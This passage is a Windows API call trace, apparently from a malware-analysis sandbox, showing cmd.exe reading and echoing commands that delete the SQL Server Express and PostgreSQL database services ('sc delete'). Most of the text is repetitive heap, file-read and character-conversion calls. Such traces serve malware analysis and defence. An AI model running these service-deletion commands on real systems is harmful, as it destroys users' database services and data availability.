dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.867] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.867] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.867] GetFileType (hFile=0x120) returned 0x3 [0066.867] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.867] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.867] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.867] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.867] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.867] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.867] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.867] GetFileType (hFile=0x120) returned 0x3 [0066.867] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.867] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.867] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.867] GetFileType (hFile=0xb8) returned 0x3 [0066.867] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.867] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.867] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.867] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.868] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.868] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.868] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.868] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.868] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.868] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.869] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.869] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.869] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.869] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.869] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="psftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.869] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="oftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.869] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="stesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="tesql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="gsql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="rql$SQLEXPRESS\"\nA\"\n") returned 1 [0066.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="el$SQLEXPRESS\"\nA\"\n") returned 1 [0066.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="s$SQLEXPRESS\"\nA\"\n") returned 1 [0066.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="qSQLEXPRESS\"\nA\"\n") returned 1 [0066.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="lQLEXPRESS\"\nA\"\n") returned 1 [0066.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="-LEXPRESS\"\nA\"\n") returned 1 [0066.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="xEXPRESS\"\nA\"\n") returned 1 [0066.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="6XPRESS\"\nA\"\n") returned 1 [0066.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="4PRESS\"\nA\"\n") returned 1 [0066.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="-RESS\"\nA\"\n") returned 1 [0066.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="9ESS\"\nA\"\n") returned 1 [0066.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr=".SS\"\nA\"\n") returned 1 [0066.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="4S\"\nA\"\n") returned 1 [0066.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="\"\"\nA\"\n") returned 1 [0066.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="\n\nA\"\n") returned 1 [0066.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.872] GetFileType (hFile=0xb8) returned 0x3 [0066.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.873] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.873] GetFileType (hFile=0x120) returned 0x3 [0066.873] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"postgresql-x64-9.4\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"postgresql-x64-9.4\"\n", lpUsedDefaultChar=0x0) returned 32 [0066.873] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1f, 